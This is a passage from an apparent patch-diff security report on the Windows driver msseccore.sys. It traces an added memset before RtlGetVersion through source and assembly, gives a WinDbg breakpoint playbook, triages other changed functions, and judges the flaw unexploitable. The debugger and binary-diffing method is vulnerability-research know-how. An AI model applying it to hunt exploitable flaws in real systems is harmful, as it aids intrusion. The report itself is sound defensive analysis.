&lt;span class="n"&gt;memset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;versionInformation&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;dwMajorVersion&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x110&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// ADDED: zeros the 0x110 bytes after the size field&lt;/span&gt;
&lt;span class="n"&gt;versionInformation&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;dwOSVersionInfoSize&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x114&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;RtlGetVersion&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;versionInformation&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;STATUS_SUCCESS&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// ...&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;4. Assembly Analysis&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Unpatched &lt;code&gt;DriverEntry&lt;/code&gt; Sequence (function @ 0x1C000A008):&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C000A070&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;1&lt;/span&gt;&lt;span class="n"&gt;A8h&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;VersionInformation&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;OSVERSIONINFOW&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C000A075&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;1&lt;/span&gt;&lt;span class="n"&gt;A8h&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;VersionInformation&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="n"&gt;dwOSVersionInfoSize&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;114&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sets&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;ON&lt;/span&gt;&lt;span class="n"&gt;LY&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dwOSVersionInfoSize&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;No&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;instructions&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;zero&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;remaining 0x110 bytes of the structure&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C000A07D&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;__imp_RtlGetVersion&lt;/span&gt;&lt;span class="w"&gt;                             &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;RtlGetVersion&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="err"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;VersionInformation&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Patched &lt;code&gt;DriverEntry&lt;/code&gt; Sequence (function @ 0x1C000A078):&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C000A0E2&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;edx&lt;/span&gt;&lt;span class="w"&gt;                                          &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;fill&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C000A0E4&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;1&lt;/span&gt;&lt;span class="n"&gt;B0h&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;VersionInformation&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="n"&gt;dwMajorVersion&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;OSVERSIONINFOW&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;4&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C000A0E9&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r8d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;110&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="w"&gt;                                          &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x110&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C000A0EF&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;memset&lt;/span&gt;&lt;span class="w"&gt;                                            &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ADDED&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;zero&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x110&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bytes&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C000A0F4&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;1&lt;/span&gt;&lt;span class="n"&gt;B0h&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;VersionInformation&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;OSVERSIONINFOW&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C000A0F9&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;1&lt;/span&gt;&lt;span class="n"&gt;B0h&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;VersionInformation&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="n"&gt;dwOSVersionInfoSize&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;114&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sets&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dwOSVersionInfoSize&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C000A101&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;__imp_RtlGetVersion&lt;/span&gt;&lt;span class="w"&gt;                             &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;RtlGetVersion&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="err"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;VersionInformation&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The added &lt;code&gt;memset&lt;/code&gt; calls the CRT &lt;code&gt;memset&lt;/code&gt; at &lt;code&gt;0x1C0001F40&lt;/code&gt; in the patched build.&lt;/p&gt;
&lt;h3&gt;5. Trigger Conditions&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Load the unpatched &lt;code&gt;msseccore.sys&lt;/code&gt; driver (occurs automatically during the system boot sequence).&lt;/li&gt;
&lt;li&gt;Allow the driver's &lt;code&gt;DriverEntry&lt;/code&gt; routine to execute naturally.&lt;/li&gt;
&lt;li&gt;The execution path reaches the &lt;code&gt;RtlGetVersion&lt;/code&gt; invocation at &lt;code&gt;0x1C000A07D&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Observe the kernel stack memory occupied by the &lt;code&gt;OSVERSIONINFOW&lt;/code&gt; structure (the &lt;code&gt;0x110&lt;/code&gt; bytes from structure offset &lt;code&gt;0x4&lt;/code&gt; through &lt;code&gt;0x114&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Observable Effect:&lt;/strong&gt; Immediately before the &lt;code&gt;RtlGetVersion&lt;/code&gt; call, that region holds whatever residual stack data was present in the unpatched binary, whereas in the patched binary the added &lt;code&gt;memset&lt;/code&gt; has zeroed it. Note that &lt;code&gt;RtlGetVersion&lt;/code&gt; fully populates the structure on success in both builds, so this difference is only observable between the structure setup and the API call.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;6. Exploit Primitive &amp;amp; Development Notes&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Primitive:&lt;/strong&gt; None demonstrated. The uninitialized bytes live in a local &lt;code&gt;DriverEntry&lt;/code&gt; stack variable that is fully populated by &lt;code&gt;RtlGetVersion&lt;/code&gt; on success and is never copied out, returned, or exposed to a lower-privilege context. There is no demonstrated information-disclosure path; the fix is defense-in-depth.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Exploitability:&lt;/strong&gt; Not exploitable as shipped. Any hypothetical disclosure would require a separate, unrelated primitive able to read &lt;code&gt;DriverEntry&lt;/code&gt;'s stack frame in the narrow window between structure setup and the &lt;code&gt;RtlGetVersion&lt;/code&gt; call.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Mitigations:&lt;/strong&gt; Standard kernel stack protections (&lt;code&gt;/GS&lt;/code&gt;) apply. The patch removes reliance on the API to overwrite every field by zeroing the structure up front.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;7. Debugger PoC Playbook&lt;/h3&gt;
&lt;p&gt;To observe the vulnerability using a kernel debugger (WinDbg/KD) attached to the unpatched binary:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Breakpoints:&lt;/strong&gt; &lt;/li&gt;
&lt;li&gt;&lt;code&gt;bp&lt;/code&gt; at &lt;code&gt;0x1C000A075&lt;/code&gt; in unpatched &lt;code&gt;DriverEntry&lt;/code&gt; (the store of &lt;code&gt;dwOSVersionInfoSize&lt;/code&gt;, immediately before the &lt;code&gt;RtlGetVersion&lt;/code&gt; call at &lt;code&gt;0x1C000A07D&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Why:&lt;/em&gt; This is the only window in which the difference is observable: the structure's &lt;code&gt;0x110&lt;/code&gt; trailing bytes are still uninitialized in the unpatched build here, whereas the patched build's added &lt;code&gt;memset&lt;/code&gt; (at &lt;code&gt;0x1C000A0EF&lt;/code&gt;) has already zeroed them. After &lt;code&gt;RtlGetVersion&lt;/code&gt; returns, both builds have the structure fully populated.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;What to Inspect at the Breakpoint:&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Take the effective address loaded by the preceding &lt;code&gt;lea rcx, [...VersionInformation]&lt;/code&gt; (that is &lt;code&gt;&amp;amp;OSVERSIONINFOW&lt;/code&gt;) and dump the &lt;code&gt;0x110&lt;/code&gt; bytes starting at structure offset &lt;code&gt;0x4&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;In the unpatched driver these bytes hold whatever residual stack data was present; in the patched driver they are zero.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Key Instructions/Offsets:&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x1C000A075&lt;/code&gt;: store of &lt;code&gt;dwOSVersionInfoSize = 0x114&lt;/code&gt; (the only field set before the call in unpatched).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x1C000A07D&lt;/code&gt;: the &lt;code&gt;RtlGetVersion&lt;/code&gt; call in unpatched (&lt;code&gt;call cs:__imp_RtlGetVersion&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;Patched: &lt;code&gt;0x1C000A0EF&lt;/code&gt; &lt;code&gt;call memset&lt;/code&gt; (zeros &lt;code&gt;0x110&lt;/code&gt; bytes), then &lt;code&gt;0x1C000A101&lt;/code&gt; the &lt;code&gt;RtlGetVersion&lt;/code&gt; call.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Trigger Setup:&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Boot the target system with the unpatched &lt;code&gt;msseccore.sys&lt;/code&gt; driver loading at startup, with a kernel debugger attached during boot.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Struct/Offset Notes (&lt;code&gt;OSVERSIONINFOW&lt;/code&gt;, structure-relative):&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;dwOSVersionInfoSize&lt;/code&gt;: offset &lt;code&gt;0x0&lt;/code&gt; (4 bytes)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;dwMajorVersion&lt;/code&gt;: offset &lt;code&gt;0x4&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;dwMinorVersion&lt;/code&gt;: offset &lt;code&gt;0x8&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;dwBuildNumber&lt;/code&gt;: offset &lt;code&gt;0xC&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;dwPlatformId&lt;/code&gt;: offset &lt;code&gt;0x10&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;szCSDVersion[128]&lt;/code&gt;: offset &lt;code&gt;0x14&lt;/code&gt; (256 bytes), which falls inside the &lt;code&gt;0x110&lt;/code&gt;-byte region the patch zeroes&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;8. Changed Functions — Full Triage&lt;/h3&gt;
&lt;p&gt;The remaining 10 changed functions contained no exploitable security vulnerabilities. Their changes can be grouped as follows:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Compiler Code-Generation (Cosmetic):&lt;/strong&gt; &lt;/li&gt;
&lt;li&gt;&lt;code&gt;memmove&lt;/code&gt; (@ &lt;code&gt;0x1C0001C80&lt;/code&gt;): Full rewrite of the compiler-generated CRT &lt;code&gt;memmove&lt;/code&gt; implementation, adding small-size fast-path branches. Semantically equivalent memory-move. (The report's earlier &lt;code&gt;memcpy&lt;/code&gt; label was a misnomer; the driver contains no separate &lt;code&gt;memcpy&lt;/code&gt; function and the changed CRT copy routine is &lt;code&gt;memmove&lt;/code&gt;.)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;SecCreateKernelClient&lt;/code&gt;: &lt;code&gt;memset&lt;/code&gt; replaced with inline SSE zeroing (&lt;code&gt;xorps&lt;/code&gt;/&lt;code&gt;movups&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;SecRegisterKernelExtension&lt;/code&gt;: &lt;code&gt;memset&lt;/code&gt; replaced with inline stores.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;SecValidateDriverFileSignatureLevel&lt;/code&gt;: &lt;code&gt;memset&lt;/code&gt; calls replaced with inline SSE zeroing; call targets adjusted for relocated &lt;code&gt;SecCreateDriverValidationKernelEcp&lt;/code&gt; and &lt;code&gt;SecIsWindowsSigned&lt;/code&gt;. Signature-validation logic and control flow are unchanged.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;SecBindHost&lt;/code&gt;: Register allocation restructured; arithmetic equivalence applied to refcount increments.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;SecCreateDriverValidationKernelEcp&lt;/code&gt;: ECP-type GUID data reference shifted by &lt;code&gt;0x10&lt;/code&gt; bytes (&lt;code&gt;xmmword_1C00031C8&lt;/code&gt; → &lt;code&gt;xmmword_1C00031D8&lt;/code&gt;) due to &lt;code&gt;.rdata&lt;/code&gt; layout shift; &lt;code&gt;memset&lt;/code&gt; replaced with inline SSE zeroing.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;SecAllocateKernelApcObject&lt;/code&gt;: Removed a redundant &lt;code&gt;mov byte [rbx+0x70], 0&lt;/code&gt; store; the preceding &lt;code&gt;memset(rbx, 0, 0xB0)&lt;/code&gt; already zeroes offset &lt;code&gt;0x70&lt;/code&gt;. &lt;code&gt;memset&lt;/code&gt; call target relocated (&lt;code&gt;0x1C0001FC0&lt;/code&gt; → &lt;code&gt;0x1C0001F40&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Behavioral Changes (Non-Exploitable):&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;SecKernelIntegrityCheck&lt;/code&gt;: The notification class constant in a kernel-integrity dispatch structure built on the stack was changed from &lt;code&gt;0xa000006&lt;/code&gt; to &lt;code&gt;0xa000008&lt;/code&gt; (field at &lt;code&gt;[rbp+57h+var_68]&lt;/code&gt;), and the two &lt;code&gt;memset&lt;/code&gt; calls were folded into inline SSE zeroing. The structure is dispatched via the guarded indirect-call pointer &lt;code&gt;cs:qword_1C0007008&lt;/code&gt;; the constant change is a protocol/version compatibility change matching a kernel-side consumer, not a vulnerability mitigation.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;SecAllocatePoolWithTag&lt;/code&gt; (@ &lt;code&gt;0x1C0001008&lt;/code&gt; unpatched / &lt;code&gt;0x1C0001050&lt;/code&gt; patched): The fallback path (taken only when the dynamically-resolved allocator pointer &lt;code&gt;cs:qword_1C0007000&lt;/code&gt; is NULL) changed the &lt;code&gt;PoolType&lt;/code&gt; argument to &lt;code&gt;ExAllocatePoolWithTag&lt;/code&gt; from &lt;code&gt;0x200&lt;/code&gt; to &lt;code&gt;0x600&lt;/code&gt;. Both values carry the non-executable pool bit (&lt;code&gt;0x200&lt;/code&gt;); the additional &lt;code&gt;0x400&lt;/code&gt; bit adjusts the requested pool attributes. This is an allocation-attribute change on a rarely-taken fallback path, not a security vulnerability fix.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;__GSHandlerCheckCommon&lt;/code&gt;: GS-cookie validation handler. The byte load &lt;code&gt;mov dl, [rcx+rax+3]&lt;/code&gt; followed by &lt;code&gt;movzx eax, dl&lt;/code&gt; was changed to &lt;code&gt;movzx edx, byte [rcx+rax+3]&lt;/code&gt; / &lt;code&gt;mov eax, edx&lt;/code&gt;, moving the zero-extension to load time. Semantically identical; the value is masked with &lt;code&gt;0xFFFFFFF0&lt;/code&gt; regardless. Not an independently exploitable flaw.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;9. Unmatched Functions&lt;/h3&gt;
&lt;p&gt;There were no added or removed functions between the unpatched and patched binaries.&lt;/p&gt;
&lt;h3&gt;10. Confidence &amp;amp; Caveats&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Confidence Level:&lt;/strong&gt; High. The diff clearly isolates the addition of a &lt;code&gt;memset&lt;/code&gt; in &lt;code&gt;DriverEntry&lt;/code&gt; that zero-initializes the &lt;code&gt;OSVERSIONINFOW&lt;/code&gt; structure before &lt;code&gt;RtlGetVersion&lt;/code&gt;, a textbook CWE-908 zero-initialization pattern.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Assessment:&lt;/strong&gt; &lt;code&gt;RtlGetVersion&lt;/code&gt; fully populates the structure and returns &lt;code&gt;STATUS_SUCCESS&lt;/code&gt;, and the structure is a local variable never exposed outside &lt;code&gt;DriverEntry&lt;/code&gt;, so no reachable information-disclosure impact is demonstrated. The change is defense-in-depth; severity is Low on that basis.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Manual Verification:&lt;/strong&gt; Confirmed against both disassemblies — the unpatched build sets only &lt;code&gt;dwOSVersionInfoSize&lt;/code&gt; before the call, the patched build adds &lt;code&gt;memset(&amp;amp;VersionInformation.dwMajorVersion, 0, 0x110)&lt;/code&gt; first.&lt;/li&gt;
&lt;/ul&gt;</content><category term="Corpus"/></entry></feed>